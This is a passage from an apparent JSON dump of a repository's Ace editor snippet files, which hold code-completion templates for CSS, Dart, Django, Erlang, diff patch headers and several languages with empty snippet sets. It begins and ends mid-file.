${1};\\nsnippet ct:a\\n\tcontent: attr(${1});\\nsnippet ct:cq\\n\tcontent: close-quote;\\nsnippet ct:c\\n\tcontent: counter(${1});\\nsnippet ct:cs\\n\tcontent: counters(${1});\\nsnippet ct:ncq\\n\tcontent: no-close-quote;\\nsnippet ct:noq\\n\tcontent: no-open-quote;\\nsnippet ct:n\\n\tcontent: normal;\\nsnippet ct:oq\\n\tcontent: open-quote;\\nsnippet coi\\n\tcounter-increment: ${1};\\nsnippet cor\\n\tcounter-reset: ${1};\\nsnippet cur\\n\tcursor: ${1};\\nsnippet cur:a\\n\tcursor: auto;\\nsnippet cur:c\\n\tcursor: crosshair;\\nsnippet cur:d\\n\tcursor: default;\\nsnippet cur:ha\\n\tcursor: hand;\\nsnippet cur:he\\n\tcursor: help;\\nsnippet cur:m\\n\tcursor: move;\\nsnippet cur:p\\n\tcursor: pointer;\\nsnippet cur:t\\n\tcursor: text;\\nsnippet d\\n\tdisplay: ${1};\\nsnippet d:mib\\n\tdisplay: -moz-inline-box;\\nsnippet d:mis\\n\tdisplay: -moz-inline-stack;\\nsnippet d:b\\n\tdisplay: block;\\nsnippet d:cp\\n\tdisplay: compact;\\nsnippet d:ib\\n\tdisplay: inline-block;\\nsnippet d:itb\\n\tdisplay: inline-table;\\nsnippet d:i\\n\tdisplay: inline;\\nsnippet d:li\\n\tdisplay: list-item;\\nsnippet d:n\\n\tdisplay: none;\\nsnippet d:ri\\n\tdisplay: run-in;\\nsnippet d:tbcp\\n\tdisplay: table-caption;\\nsnippet d:tbc\\n\tdisplay: table-cell;\\nsnippet d:tbclg\\n\tdisplay: table-column-group;\\nsnippet d:tbcl\\n\tdisplay: table-column;\\nsnippet d:tbfg\\n\tdisplay: table-footer-group;\\nsnippet d:tbhg\\n\tdisplay: table-header-group;\\nsnippet d:tbrg\\n\tdisplay: table-row-group;\\nsnippet d:tbr\\n\tdisplay: table-row;\\nsnippet d:tb\\n\tdisplay: table;\\nsnippet ec\\n\tempty-cells: ${1};\\nsnippet ec:h\\n\tempty-cells: hide;\\nsnippet ec:s\\n\tempty-cells: show;\\nsnippet exp\\n\texpression()\\nsnippet fl\\n\tfloat: ${1};\\nsnippet fl:l\\n\tfloat: left;\\nsnippet fl:n\\n\tfloat: none;\\nsnippet fl:r\\n\tfloat: right;\\nsnippet f+\\n\tfont: ${1:1em} ${2:Arial},${3:sans-serif};\\nsnippet fef\\n\tfont-effect: ${1};\\nsnippet fef:eb\\n\tfont-effect: emboss;\\nsnippet fef:eg\\n\tfont-effect: engrave;\\nsnippet fef:n\\n\tfont-effect: none;\\nsnippet fef:o\\n\tfont-effect: outline;\\nsnippet femp\\n\tfont-emphasize-position: ${1};\\nsnippet femp:a\\n\tfont-emphasize-position: after;\\nsnippet femp:b\\n\tfont-emphasize-position: before;\\nsnippet fems\\n\tfont-emphasize-style: ${1};\\nsnippet fems:ac\\n\tfont-emphasize-style: accent;\\nsnippet fems:c\\n\tfont-emphasize-style: circle;\\nsnippet fems:ds\\n\tfont-emphasize-style: disc;\\nsnippet fems:dt\\n\tfont-emphasize-style: dot;\\nsnippet fems:n\\n\tfont-emphasize-style: none;\\nsnippet fem\\n\tfont-emphasize: ${1};\\nsnippet ff\\n\tfont-family: ${1};\\nsnippet ff:c\\n\tfont-family: ${1:'Monotype Corsiva','Comic Sans MS'},cursive;\\nsnippet ff:f\\n\tfont-family: ${1:Capitals,Impact},fantasy;\\nsnippet ff:m\\n\tfont-family: ${1:Monaco,'Courier New'},monospace;\\nsnippet ff:ss\\n\tfont-family: ${1:Helvetica,Arial},sans-serif;\\nsnippet ff:s\\n\tfont-family: ${1:Georgia,'Times New Roman'},serif;\\nsnippet fza\\n\tfont-size-adjust: ${1};\\nsnippet fza:n\\n\tfont-size-adjust: none;\\nsnippet fz\\n\tfont-size: ${1};\\nsnippet fsm\\n\tfont-smooth: ${1};\\nsnippet fsm:aw\\n\tfont-smooth: always;\\nsnippet fsm:a\\n\tfont-smooth: auto;\\nsnippet fsm:n\\n\tfont-smooth: never;\\nsnippet fst\\n\tfont-stretch: ${1};\\nsnippet fst:c\\n\tfont-stretch: condensed;\\nsnippet fst:e\\n\tfont-stretch: expanded;\\nsnippet fst:ec\\n\tfont-stretch: extra-condensed;\\nsnippet fst:ee\\n\tfont-stretch: extra-expanded;\\nsnippet fst:n\\n\tfont-stretch: normal;\\nsnippet fst:sc\\n\tfont-stretch: semi-condensed;\\nsnippet fst:se\\n\tfont-stretch: semi-expanded;\\nsnippet fst:uc\\n\tfont-stretch: ultra-condensed;\\nsnippet fst:ue\\n\tfont-stretch: ultra-expanded;\\nsnippet fs\\n\tfont-style: ${1};\\nsnippet fs:i\\n\tfont-style: italic;\\nsnippet fs:n\\n\tfont-style: normal;\\nsnippet fs:o\\n\tfont-style: oblique;\\nsnippet fv\\n\tfont-variant: ${1};\\nsnippet fv:n\\n\tfont-variant: normal;\\nsnippet fv:sc\\n\tfont-variant: small-caps;\\nsnippet fw\\n\tfont-weight: ${1};\\nsnippet fw:b\\n\tfont-weight: bold;\\nsnippet fw:br\\n\tfont-weight: bolder;\\nsnippet fw:lr\\n\tfont-weight: lighter;\\nsnippet fw:n\\n\tfont-weight: normal;\\nsnippet f\\n\tfont: ${1};\\nsnippet h\\n\theight: ${1};\\nsnippet h:a\\n\theight: auto;\\nsnippet l\\n\tleft: ${1};\\nsnippet l:a\\n\tleft: auto;\\nsnippet lts\\n\tletter-spacing: ${1};\\nsnippet lh\\n\tline-height: ${1};\\nsnippet lisi\\n\tlist-style-image: url(${1});\\nsnippet lisi:n\\n\tlist-style-image: none;\\nsnippet lisp\\n\tlist-style-position: ${1};\\nsnippet lisp:i\\n\tlist-style-position: inside;\\nsnippet lisp:o\\n\tlist-style-position: outside;\\nsnippet list\\n\tlist-style-type: ${1};\\nsnippet list:c\\n\tlist-style-type: circle;\\nsnippet list:dclz\\n\tlist-style-type: decimal-leading-zero;\\nsnippet list:dc\\n\tlist-style-type: decimal;\\nsnippet list:d\\n\tlist-style-type: disc;\\nsnippet list:lr\\n\tlist-style-type: lower-roman;\\nsnippet list:n\\n\tlist-style-type: none;\\nsnippet list:s\\n\tlist-style-type: square;\\nsnippet list:ur\\n\tlist-style-type: upper-roman;\\nsnippet lis\\n\tlist-style: ${1};\\nsnippet lis:n\\n\tlist-style: none;\\nsnippet mb\\n\tmargin-bottom: ${1};\\nsnippet mb:a\\n\tmargin-bottom: auto;\\nsnippet ml\\n\tmargin-left: ${1};\\nsnippet ml:a\\n\tmargin-left: auto;\\nsnippet mr\\n\tmargin-right: ${1};\\nsnippet mr:a\\n\tmargin-right: auto;\\nsnippet mt\\n\tmargin-top: ${1};\\nsnippet mt:a\\n\tmargin-top: auto;\\nsnippet m\\n\tmargin: ${1};\\nsnippet m:4\\n\tmargin: ${1:0} ${2:0} ${3:0} ${4:0};\\nsnippet m:3\\n\tmargin: ${1:0} ${2:0} ${3:0};\\nsnippet m:2\\n\tmargin: ${1:0} ${2:0};\\nsnippet m:0\\n\tmargin: 0;\\nsnippet m:a\\n\tmargin: auto;\\nsnippet mah\\n\tmax-height: ${1};\\nsnippet mah:n\\n\tmax-height: none;\\nsnippet maw\\n\tmax-width: ${1};\\nsnippet maw:n\\n\tmax-width: none;\\nsnippet mih\\n\tmin-height: ${1};\\nsnippet miw\\n\tmin-width: ${1};\\nsnippet op\\n\topacity: ${1};\\nsnippet op:ie\\n\tfilter: progid:DXImageTransform.Microsoft.Alpha(Opacity=${1:100});\\nsnippet op:ms\\n\t-ms-filter: 'progid:DXImageTransform.Microsoft.Alpha(Opacity=${1:100})';\\nsnippet orp\\n\torphans: ${1};\\nsnippet o+\\n\toutline: ${1:1px} ${2:solid} #${3:000};\\nsnippet oc\\n\toutline-color: ${1:#000};\\nsnippet oc:i\\n\toutline-color: invert;\\nsnippet oo\\n\toutline-offset: ${1};\\nsnippet os\\n\toutline-style: ${1};\\nsnippet ow\\n\toutline-width: ${1};\\nsnippet o\\n\toutline: ${1};\\nsnippet o:n\\n\toutline: none;\\nsnippet ovs\\n\toverflow-style: ${1};\\nsnippet ovs:a\\n\toverflow-style: auto;\\nsnippet ovs:mq\\n\toverflow-style: marquee;\\nsnippet ovs:mv\\n\toverflow-style: move;\\nsnippet ovs:p\\n\toverflow-style: panner;\\nsnippet ovs:s\\n\toverflow-style: scrollbar;\\nsnippet ovx\\n\toverflow-x: ${1};\\nsnippet ovx:a\\n\toverflow-x: auto;\\nsnippet ovx:h\\n\toverflow-x: hidden;\\nsnippet ovx:s\\n\toverflow-x: scroll;\\nsnippet ovx:v\\n\toverflow-x: visible;\\nsnippet ovy\\n\toverflow-y: ${1};\\nsnippet ovy:a\\n\toverflow-y: auto;\\nsnippet ovy:h\\n\toverflow-y: hidden;\\nsnippet ovy:s\\n\toverflow-y: scroll;\\nsnippet ovy:v\\n\toverflow-y: visible;\\nsnippet ov\\n\toverflow: ${1};\\nsnippet ov:a\\n\toverflow: auto;\\nsnippet ov:h\\n\toverflow: hidden;\\nsnippet ov:s\\n\toverflow: scroll;\\nsnippet ov:v\\n\toverflow: visible;\\nsnippet pb\\n\tpadding-bottom: ${1};\\nsnippet pl\\n\tpadding-left: ${1};\\nsnippet pr\\n\tpadding-right: ${1};\\nsnippet pt\\n\tpadding-top: ${1};\\nsnippet p\\n\tpadding: ${1};\\nsnippet p:4\\n\tpadding: ${1:0} ${2:0} ${3:0} ${4:0};\\nsnippet p:3\\n\tpadding: ${1:0} ${2:0} ${3:0};\\nsnippet p:2\\n\tpadding: ${1:0} ${2:0};\\nsnippet p:0\\n\tpadding: 0;\\nsnippet pgba\\n\tpage-break-after: ${1};\\nsnippet pgba:aw\\n\tpage-break-after: always;\\nsnippet pgba:a\\n\tpage-break-after: auto;\\nsnippet pgba:l\\n\tpage-break-after: left;\\nsnippet pgba:r\\n\tpage-break-after: right;\\nsnippet pgbb\\n\tpage-break-before: ${1};\\nsnippet pgbb:aw\\n\tpage-break-before: always;\\nsnippet pgbb:a\\n\tpage-break-before: auto;\\nsnippet pgbb:l\\n\tpage-break-before: left;\\nsnippet pgbb:r\\n\tpage-break-before: right;\\nsnippet pgbi\\n\tpage-break-inside: ${1};\\nsnippet pgbi:a\\n\tpage-break-inside: auto;\\nsnippet pgbi:av\\n\tpage-break-inside: avoid;\\nsnippet pos\\n\tposition: ${1};\\nsnippet pos:a\\n\tposition: absolute;\\nsnippet pos:f\\n\tposition: fixed;\\nsnippet pos:r\\n\tposition: relative;\\nsnippet pos:s\\n\tposition: static;\\nsnippet q\\n\tquotes: ${1};\\nsnippet q:en\\n\tquotes: '\\\\201C' '\\\\201D' '\\\\2018' '\\\\2019';\\nsnippet q:n\\n\tquotes: none;\\nsnippet q:ru\\n\tquotes: '\\\\00AB' '\\\\00BB' '\\\\201E' '\\\\201C';\\nsnippet rz\\n\tresize: ${1};\\nsnippet rz:b\\n\tresize: both;\\nsnippet rz:h\\n\tresize: horizontal;\\nsnippet rz:n\\n\tresize: none;\\nsnippet rz:v\\n\tresize: vertical;\\nsnippet r\\n\tright: ${1};\\nsnippet r:a\\n\tright: auto;\\nsnippet tbl\\n\ttable-layout: ${1};\\nsnippet tbl:a\\n\ttable-layout: auto;\\nsnippet tbl:f\\n\ttable-layout: fixed;\\nsnippet tal\\n\ttext-align-last: ${1};\\nsnippet tal:a\\n\ttext-align-last: auto;\\nsnippet tal:c\\n\ttext-align-last: center;\\nsnippet tal:l\\n\ttext-align-last: left;\\nsnippet tal:r\\n\ttext-align-last: right;\\nsnippet ta\\n\ttext-align: ${1};\\nsnippet ta:c\\n\ttext-align: center;\\nsnippet ta:l\\n\ttext-align: left;\\nsnippet ta:r\\n\ttext-align: right;\\nsnippet td\\n\ttext-decoration: ${1};\\nsnippet td:l\\n\ttext-decoration: line-through;\\nsnippet td:n\\n\ttext-decoration: none;\\nsnippet td:o\\n\ttext-decoration: overline;\\nsnippet td:u\\n\ttext-decoration: underline;\\nsnippet te\\n\ttext-emphasis: ${1};\\nsnippet te:ac\\n\ttext-emphasis: accent;\\nsnippet te:a\\n\ttext-emphasis: after;\\nsnippet te:b\\n\ttext-emphasis: before;\\nsnippet te:c\\n\ttext-emphasis: circle;\\nsnippet te:ds\\n\ttext-emphasis: disc;\\nsnippet te:dt\\n\ttext-emphasis: dot;\\nsnippet te:n\\n\ttext-emphasis: none;\\nsnippet th\\n\ttext-height: ${1};\\nsnippet th:a\\n\ttext-height: auto;\\nsnippet th:f\\n\ttext-height: font-size;\\nsnippet th:m\\n\ttext-height: max-size;\\nsnippet th:t\\n\ttext-height: text-size;\\nsnippet ti\\n\ttext-indent: ${1};\\nsnippet ti:-\\n\ttext-indent: -9999px;\\nsnippet tj\\n\ttext-justify: ${1};\\nsnippet tj:a\\n\ttext-justify: auto;\\nsnippet tj:d\\n\ttext-justify: distribute;\\nsnippet tj:ic\\n\ttext-justify: inter-cluster;\\nsnippet tj:ii\\n\ttext-justify: inter-ideograph;\\nsnippet tj:iw\\n\ttext-justify: inter-word;\\nsnippet tj:k\\n\ttext-justify: kashida;\\nsnippet tj:t\\n\ttext-justify: tibetan;\\nsnippet to+\\n\ttext-outline: ${1:0} ${2:0} #${3:000};\\nsnippet to\\n\ttext-outline: ${1};\\nsnippet to:n\\n\ttext-outline: none;\\nsnippet tr\\n\ttext-replace: ${1};\\nsnippet tr:n\\n\ttext-replace: none;\\nsnippet tsh+\\n\ttext-shadow: ${1:0} ${2:0} ${3:0} #${4:000};\\nsnippet tsh\\n\ttext-shadow: ${1};\\nsnippet tsh:n\\n\ttext-shadow: none;\\nsnippet tt\\n\ttext-transform: ${1};\\nsnippet tt:c\\n\ttext-transform: capitalize;\\nsnippet tt:l\\n\ttext-transform: lowercase;\\nsnippet tt:n\\n\ttext-transform: none;\\nsnippet tt:u\\n\ttext-transform: uppercase;\\nsnippet tw\\n\ttext-wrap: ${1};\\nsnippet tw:no\\n\ttext-wrap: none;\\nsnippet tw:n\\n\ttext-wrap: normal;\\nsnippet tw:s\\n\ttext-wrap: suppress;\\nsnippet tw:u\\n\ttext-wrap: unrestricted;\\nsnippet t\\n\ttop: ${1};\\nsnippet t:a\\n\ttop: auto;\\nsnippet va\\n\tvertical-align: ${1};\\nsnippet va:bl\\n\tvertical-align: baseline;\\nsnippet va:b\\n\tvertical-align: bottom;\\nsnippet va:m\\n\tvertical-align: middle;\\nsnippet va:sub\\n\tvertical-align: sub;\\nsnippet va:sup\\n\tvertical-align: super;\\nsnippet va:tb\\n\tvertical-align: text-bottom;\\nsnippet va:tt\\n\tvertical-align: text-top;\\nsnippet va:t\\n\tvertical-align: top;\\nsnippet v\\n\tvisibility: ${1};\\nsnippet v:c\\n\tvisibility: collapse;\\nsnippet v:h\\n\tvisibility: hidden;\\nsnippet v:v\\n\tvisibility: visible;\\nsnippet whsc\\n\twhite-space-collapse: ${1};\\nsnippet whsc:ba\\n\twhite-space-collapse: break-all;\\nsnippet whsc:bs\\n\twhite-space-collapse: break-strict;\\nsnippet whsc:k\\n\twhite-space-collapse: keep-all;\\nsnippet whsc:l\\n\twhite-space-collapse: loose;\\nsnippet whsc:n\\n\twhite-space-collapse: normal;\\nsnippet whs\\n\twhite-space: ${1};\\nsnippet whs:n\\n\twhite-space: normal;\\nsnippet whs:nw\\n\twhite-space: nowrap;\\nsnippet whs:pl\\n\twhite-space: pre-line;\\nsnippet whs:pw\\n\twhite-space: pre-wrap;\\nsnippet whs:p\\n\twhite-space: pre;\\nsnippet wid\\n\twidows: ${1};\\nsnippet w\\n\twidth: ${1};\\nsnippet w:a\\n\twidth: auto;\\nsnippet wob\\n\tword-break: ${1};\\nsnippet wob:ba\\n\tword-break: break-all;\\nsnippet wob:bs\\n\tword-break: break-strict;\\nsnippet wob:k\\n\tword-break: keep-all;\\nsnippet wob:l\\n\tword-break: loose;\\nsnippet wob:n\\n\tword-break: normal;\\nsnippet wos\\n\tword-spacing: ${1};\\nsnippet wow\\n\tword-wrap: ${1};\\nsnippet wow:no\\n\tword-wrap: none;\\nsnippet wow:n\\n\tword-wrap: normal;\\nsnippet wow:s\\n\tword-wrap: suppress;\\nsnippet wow:u\\n\tword-wrap: unrestricted;\\nsnippet z\\n\tz-index: ${1};\\nsnippet z:a\\n\tz-index: auto;\\nsnippet zoo\\n\tzoom: 1;\\n\",t.scope=\"css\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/curly.js",
    "content": "define(\"ace/snippets/curly\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"curly\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/d.js",
    "content": "define(\"ace/snippets/d\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"d\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/dart.js",
    "content": "define(\"ace/snippets/dart\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"snippet lib\\n\tlibrary ${1};\\n\t${2}\\nsnippet im\\n\timport '${1}';\\n\t${2}\\nsnippet pa\\n\tpart '${1}';\\n\t${2}\\nsnippet pao\\n\tpart of ${1};\\n\t${2}\\nsnippet main\\n\tvoid main() {\\n\t  ${1:/* code */}\\n\t}\\nsnippet st\\n\tstatic ${1}\\nsnippet fi\\n\tfinal ${1}\\nsnippet re\\n\treturn ${1}\\nsnippet br\\n\tbreak;\\nsnippet th\\n\tthrow ${1}\\nsnippet cl\\n\tclass ${1:`Filename(\\\"\\\", \\\"untitled\\\")`} ${2}\\nsnippet imp\\n\timplements ${1}\\nsnippet ext\\n\textends ${1}\\nsnippet if\\n\tif (${1:true}) {\\n\t  ${2}\\n\t}\\nsnippet ife\\n\tif (${1:true}) {\\n\t  ${2}\\n\t} else {\\n\t  ${3}\\n\t}\\nsnippet el\\n\telse\\nsnippet sw\\n\tswitch (${1}) {\\n\t  ${2}\\n\t}\\nsnippet cs\\n\tcase ${1}:\\n\t  ${2}\\nsnippet de\\n\tdefault:\\n\t  ${1}\\nsnippet for\\n\tfor (var ${2:i} = 0, len = ${1:things}.length; $2 < len; ${3:++}$2) {\\n\t  ${4:$1[$2]}\\n\t}\\nsnippet fore\\n\tfor (final ${2:item} in ${1:itemList}) {\\n\t  ${3:/* code */}\\n\t}\\nsnippet wh\\n\twhile (${1:/* condition */}) {\\n\t  ${2:/* code */}\\n\t}\\nsnippet dowh\\n\tdo {\\n\t  ${2:/* code */}\\n\t} while (${1:/* condition */});\\nsnippet as\\n\tassert(${1:/* condition */});\\nsnippet try\\n\ttry {\\n\t  ${2}\\n\t} catch (${1:Exception e}) {\\n\t}\\nsnippet tryf\\n\ttry {\\n\t  ${2}\\n\t} catch (${1:Exception e}) {\\n\t} finally {\\n\t}\\n\",t.scope=\"dart\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/diff.js",
    "content": "define(\"ace/snippets/diff\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='# DEP-3 (http://dep.debian.net/deps/dep3/) style patch header\\nsnippet header DEP-3 style header\\n\tDescription: ${1}\\n\tOrigin: ${2:vendor|upstream|other}, ${3:url of the original patch}\\n\tBug: ${4:url in upstream bugtracker}\\n\tForwarded: ${5:no|not-needed|url}\\n\tAuthor: ${6:`g:snips_author`}\\n\tReviewed-by: ${7:name and email}\\n\tLast-Update: ${8:`strftime(\"%Y-%m-%d\")`}\\n\tApplied-Upstream: ${9:upstream version|url|commit}\\n\\n',t.scope=\"diff\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/django.js",
    "content": "define(\"ace/snippets/django\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"# Model Fields\\n\\n# Note: Optional arguments are using defaults that match what Django will use\\n# as a default, e.g. with max_length fields.  Doing this as a form of self\\n# documentation and to make it easy to know whether you should override the\\n# default or not.\\n\\n# Note: Optional arguments that are booleans will use the opposite since you\\n# can either not specify them, or override them, e.g. auto_now_add=False.\\n\\nsnippet auto\\n\t${1:FIELDNAME} = models.AutoField(${2})\\nsnippet bool\\n\t${1:FIELDNAME} = models.BooleanField(${2:default=True})\\nsnippet char\\n\t${1:FIELDNAME} = models.CharField(max_length=${2}${3:, blank=True})\\nsnippet comma\\n\t${1:FIELDNAME} = models.CommaSeparatedIntegerField(max_length=${2}${3:, blank=True})\\nsnippet date\\n\t${1:FIELDNAME} = models.DateField(${2:auto_now_add=True, auto_now=True}${3:, blank=True, null=True})\\nsnippet datetime\\n\t${1:FIELDNAME} = models.DateTimeField(${2:auto_now_add=True, auto_now=True}${3:, blank=True, null=True})\\nsnippet decimal\\n\t${1:FIELDNAME} = models.DecimalField(max_digits=${2}, decimal_places=${3})\\nsnippet email\\n\t${1:FIELDNAME} = models.EmailField(max_length=${2:75}${3:, blank=True})\\nsnippet file\\n\t${1:FIELDNAME} = models.FileField(upload_to=${2:path/for/upload}${3:, max_length=100})\\nsnippet filepath\\n\t${1:FIELDNAME} = models.FilePathField(path=${2:\\\"/abs/path/to/dir\\\"}${3:, max_length=100}${4:, match=\\\"*.ext\\\"}${5:, recursive=True}${6:, blank=True, })\\nsnippet float\\n\t${1:FIELDNAME} = models.FloatField(${2})\\nsnippet image\\n\t${1:FIELDNAME} = models.ImageField(upload_to=${2:path/for/upload}${3:, height_field=height, width_field=width}${4:, max_length=100})\\nsnippet int\\n\t${1:FIELDNAME} = models.IntegerField(${2})\\nsnippet ip\\n\t${1:FIELDNAME} = models.IPAddressField(${2})\\nsnippet nullbool\\n\t${1:FIELDNAME} = models.NullBooleanField(${2})\\nsnippet posint\\n\t${1:FIELDNAME} = models.PositiveIntegerField(${2})\\nsnippet possmallint\\n\t${1:FIELDNAME} = models.PositiveSmallIntegerField(${2})\\nsnippet slug\\n\t${1:FIELDNAME} = models.SlugField(max_length=${2:50}${3:, blank=True})\\nsnippet smallint\\n\t${1:FIELDNAME} = models.SmallIntegerField(${2})\\nsnippet text\\n\t${1:FIELDNAME} = models.TextField(${2:blank=True})\\nsnippet time\\n\t${1:FIELDNAME} = models.TimeField(${2:auto_now_add=True, auto_now=True}${3:, blank=True, null=True})\\nsnippet url\\n\t${1:FIELDNAME} = models.URLField(${2:verify_exists=False}${3:, max_length=200}${4:, blank=True})\\nsnippet xml\\n\t${1:FIELDNAME} = models.XMLField(schema_path=${2:None}${3:, blank=True})\\n# Relational Fields\\nsnippet fk\\n\t${1:FIELDNAME} = models.ForeignKey(${2:OtherModel}${3:, related_name=''}${4:, limit_choices_to=}${5:, to_field=''})\\nsnippet m2m\\n\t${1:FIELDNAME} = models.ManyToManyField(${2:OtherModel}${3:, related_name=''}${4:, limit_choices_to=}${5:, symmetrical=False}${6:, through=''}${7:, db_table=''})\\nsnippet o2o\\n\t${1:FIELDNAME} = models.OneToOneField(${2:OtherModel}${3:, parent_link=True}${4:, related_name=''}${5:, limit_choices_to=}${6:, to_field=''})\\n\\n# Code Skeletons\\n\\nsnippet form\\n\tclass ${1:FormName}(forms.Form):\\n\t\t\\\"\\\"\\\"${2:docstring}\\\"\\\"\\\"\\n\t\t${3}\\n\\nsnippet model\\n\tclass ${1:ModelName}(models.Model):\\n\t\t\\\"\\\"\\\"${2:docstring}\\\"\\\"\\\"\\n\t\t${3}\\n\t\t\\n\t\tclass Meta:\\n\t\t\t${4}\\n\t\t\\n\t\tdef __unicode__(self):\\n\t\t\t${5}\\n\t\t\\n\t\tdef save(self, force_insert=False, force_update=False):\\n\t\t\t${6}\\n\t\t\\n\t\t@models.permalink\\n\t\tdef get_absolute_url(self):\\n\t\t\treturn ('${7:view_or_url_name}' ${8})\\n\\nsnippet modeladmin\\n\tclass ${1:ModelName}Admin(admin.ModelAdmin):\\n\t\t${2}\\n\t\\n\tadmin.site.register($1, $1Admin)\\n\t\\nsnippet tabularinline\\n\tclass ${1:ModelName}Inline(admin.TabularInline):\\n\t\tmodel = $1\\n\\nsnippet stackedinline\\n\tclass ${1:ModelName}Inline(admin.StackedInline):\\n\t\tmodel = $1\\n\\nsnippet r2r\\n\treturn render_to_response('${1:template.html}', {\\n\t\t\t${2}\\n\t\t}${3:, context_instance=RequestContext(request)}\\n\t)\\n\",t.scope=\"django\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/dockerfile.js",
    "content": "define(\"ace/snippets/dockerfile\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"dockerfile\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/dot.js",
    "content": "define(\"ace/snippets/dot\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"dot\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/eiffel.js",
    "content": "define(\"ace/snippets/eiffel\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"eiffel\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/ejs.js",
    "content": "define(\"ace/snippets/ejs\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"ejs\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/elixir.js",
    "content": "define(\"ace/snippets/elixir\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/elm.js",
    "content": "define(\"ace/snippets/elm\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"elm\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/erlang.js",
    "content": "define(\"ace/snippets/erlang\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"# module and export all\\nsnippet mod\\n\t-module(${1:`Filename('', 'my')`}).\\n\t\\n\t-compile([export_all]).\\n\t\\n\tstart() ->\\n\t    ${2}\\n\t\\n\tstop() ->\\n\t    ok.\\n# define directive\\nsnippet def\\n\t-define(${1:macro}, ${2:body}).${3}\\n# export directive\\nsnippet exp\\n\t-export([${1:function}/${2:arity}]).\\n# include directive\\nsnippet inc\\n\t-include(\\\"${1:file}\\\").${2}\\n# behavior directive\\nsnippet beh\\n\t-behaviour(${1:behaviour}).${2}\\n# if expression\\nsnippet if\\n\tif\\n\t    ${1:guard} ->\\n\t        ${2:body}\\n\tend\\n# case expression\\nsnippet case\\n\tcase ${1:expression} of\\n\t    ${2:pattern} ->\\n\t        ${3:body};\\n\tend\\n# anonymous function\\nsnippet fun\\n\tfun (${1:Parameters}) -> ${2:body} end${3}\\n# try...catch\\nsnippet try\\n\ttry\\n\t    ${1}\\n\tcatch\\n\t    ${2:_:_} -> ${3:got_some_exception}\\n\tend\\n# record directive\\nsnippet rec\\n\t-record(${1:record}, {\\n\t    ${2:field}=${3:value}}).${4}\\n# todo comment\\nsnippet todo\\n\t%% TODO: ${1}\\n## Snippets below (starting with '%') are in EDoc format.\\n## See http://www.erlang.org/doc/apps/edoc/chapter.html#id56887 for more details\\n# doc comment\\nsnippet %d\\n\t%% @doc ${1}\\n# end of doc comment\\nsnippet %e\\n\t%% @end\\n# specification comment\\nsnippet %s\\n\t%% @spec ${1}\\n# private function marker\\nsnippet %p\\n\t%% @private\\n# OTP application\\nsnippet application\\n\t-module(${1:`Filename('', 'my')`}).\\n\\n\t-behaviour(application).\\n\\n\t-export([start/2, stop/1]).\\n\\n\tstart(_Type, _StartArgs) ->\\n\t    case ${2:root_supervisor}:start_link() of\\n\t        {ok, Pid} ->\\n\t            {ok, Pid};\\n\t        Other ->\\n\t\t          {error, Other}\\n\t    end.\\n\\n\tstop(_State) ->\\n\t    ok.\t\\n# OTP supervisor\\nsnippet supervisor\\n\t-module(${1:`Filename('', 'my')`}).\\n\\n\t-behaviour(supervisor).\\n\\n\t%% API\\n\t-export([start_link/0]).\\n\\n\t%% Supervisor callbacks\\n\t-export([init/1]).\\n\\n\t-define(SERVER, ?MODULE).\\n\\n\tstart_link() ->\\n\t    supervisor:start_link({local, ?SERVER}, ?MODULE, []).\\n\\n\tinit([]) ->\\n\t    Server = {${2:my_server}, {$2, start_link, []},\\n\t      permanent, 2000, worker, [$2]},\\n\t    Children = [Server],\\n\t    RestartStrategy = {one_for_one, 0, 1},\\n\t    {ok, {RestartStrategy, Children}}.\\n# OTP gen_server\\nsnippet gen_server\\n\t-module(${1:`Filename('', 'my')`}).\\n\\n\t-behaviour(gen_server).\\n\\n\t%% API\\n\t-export([\\n\t         start_link/0\\n\t        ]).\\n\\n\t%% gen_server callbacks\\n\t-export([init/1, handle_call/3, handle_cast/2, handle_info/2,\\n\t         terminate/2, code_change/3]).\\n\\n\t-define(SERVER, ?MODULE).\\n\\n\t-record(state, {}).\\n\\n\t%%%===================================================================\\n\t%%% API\\n\t%%%===================================================================\\n\\n\tstart_link() ->\\n\t    gen_server:start_link({local, ?SERVER}, ?MODULE, [], []).\\n\\n\t%%%===================================================================\\n\t%%% gen_server callbacks\\n\t%%%===================================================================\\n\\n\tinit([]) ->\\n\t    {ok, #state{}}.\\n\\n\thandle_call(_Request, _From, State) ->\\n\t    Reply = ok,\\n\t    {reply, Reply, State}.\\n\\n\thandle_cast(_Msg, State) ->\\n\t    {noreply, State}.\\n\\n\thandle_info(_Info, State) ->\\n\t    {noreply, State}.\\n\\n\tterminate(_Reason, _State) ->\\n\t    